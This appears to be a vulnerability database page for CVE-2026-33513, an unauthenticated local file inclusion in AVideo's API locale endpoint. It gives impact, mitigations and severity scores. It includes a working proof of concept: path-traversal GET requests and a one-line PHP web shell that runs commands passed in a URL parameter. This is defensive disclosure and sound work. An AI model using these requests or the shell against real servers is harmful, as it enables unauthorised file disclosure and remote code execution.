Advisory details:
github_osv / GHSA-8fw8-q79c-fp9m
| Advisory ID | github_osv/GHSA-8fw8-q79c-fp9m |
| Aliases |
CVE-2026-33513
|
| Summary | AVideo has an Unauthenticated Local File Inclusion in API locale (RCE possible with writable PHP) ### Summary An unauthenticated API endpoint (`APIName=locale`) concatenates user input into an `include` path with no canonicalization or whitelist. Path traversal is accepted, so arbitrary PHP files under the web root can be included. In our test this yielded confirmed file disclosure and code execution of existing PHP content (e.g., `view/about.php`), and it *can* escalate to RCE if an attacker can place or control a PHP file elsewhere in the tree. ### Details - Entry point: `plugin/API/get.json.php` sets `$global['bypassSameDomainCheck']=1` and merges GET/POST/JSON into `$parameters` without authentication or API secret. - Handler: `plugin/API/API.php`, method `get_api_locale()` (lines ~5009–5023): ```php $parameters['language'] = strtolower($parameters['language']); $file = "{$global['systemRootPath']}locale/{$parameters['language']}.php"; if (!file_exists($file)) { return new ApiObject("This language does not exists"); } include $file; ``` No validation is performed; `../` traversal is accepted. - Because `include` executes PHP, any reachable PHP file is executed in the web server context. ### PoC 1. Fetch an arbitrary PHP file (no auth): ``` GET /plugin/API/get.json.php?APIName=locale&language=../view/about HTTP/1.1 Host: <target> ``` Response returns the rendered About page HTML, proving traversal outside `locale/`. 2. RCE with an attacker PHP file (any writable PHP path): ``` GET /plugin/API/get.json.php?APIName=locale&language=../videos/locale/shell&x=whoami ``` If `shell.php` contains `<?php system($_GET['x']); ?>`, the response includes command output. ### Impact - Unauthenticated file inclusion of arbitrary PHP files under the web root. - Confidential data leakage (e.g., configuration, secrets) via included PHP that renders output. - Potential RCE *if* any attacker-writable PHP file exists elsewhere (not confirmed in this build). - Affects any deployment with the API plugin enabled (default in docker-compose). ### Mitigation - Reject path separators/dots and enforce a strict allowlist of locale slugs. - `realpath` the target and ensure it stays within `$systemRootPath/locale`. - Stop using `include` for translations; load data from vetted formats (JSON/array). - Add authentication (API secret/token) to the endpoint as a secondary control. |
| Status | Published |
| Exploitability | 0.5 |
| Weighted Severity | 7.7 |
| Risk | 3.9 |
| Affected and Fixed Packages | Package Details |
| Introduced and Fixed Package Commit Patches | Package Commit Patches Details |
| System | Score | Found at |
|---|---|---|
| cvssv3.1 | 8.6 | https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-8fw8-q79c-fp9m/GHSA-8fw8-q79c-fp9m.json |
| generic_textual | HIGH |
| Reference id | Reference type | URL |
|---|---|---|
| https://github.com/WWBN/AVideo | ||
| CVE-2026-33513 | https://nvd.nist.gov/vuln/detail/CVE-2026-33513 | |
| GHSA-8fw8-q79c-fp9m | Other | https://github.com/WWBN/AVideo/security/advisories/GHSA-8fw8-q79c-fp9m |
No EPSS data available for this advisory.
| Patch URL | |
|---|---|
| There are no known patches. | |
| Attack Vector (AV) | Attack Complexity (AC) | Privileges Required (PR) | User Interaction (UI) | Scope (S) | Confidentiality Impact (C) | Integrity Impact (I) | Availability Impact (A) |
|---|---|---|---|---|---|---|---|
network adjacent_network local physical |
low high |
none low high |
none required |
unchanged changed |
high low none |
high low none |
high low none |
Vector: SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-03-24T14:27:36Z/
Decision: Track
Source URL: https://github.com/cisagov/vulnrichment/blob/develop/2026/33xxx/CVE-2026-33513.json
Source Advisory: vulnrichment/CVE-2026-33513
[{'Exploitation': 'poc'},
{'Automatable': 'yes'},
{'Technical Impact': 'partial'},
{'Mission Prevalence': 'minimal'},
{'Public Well-being Impact': 'material'},
{'Mission & Well-being': 'medium'}]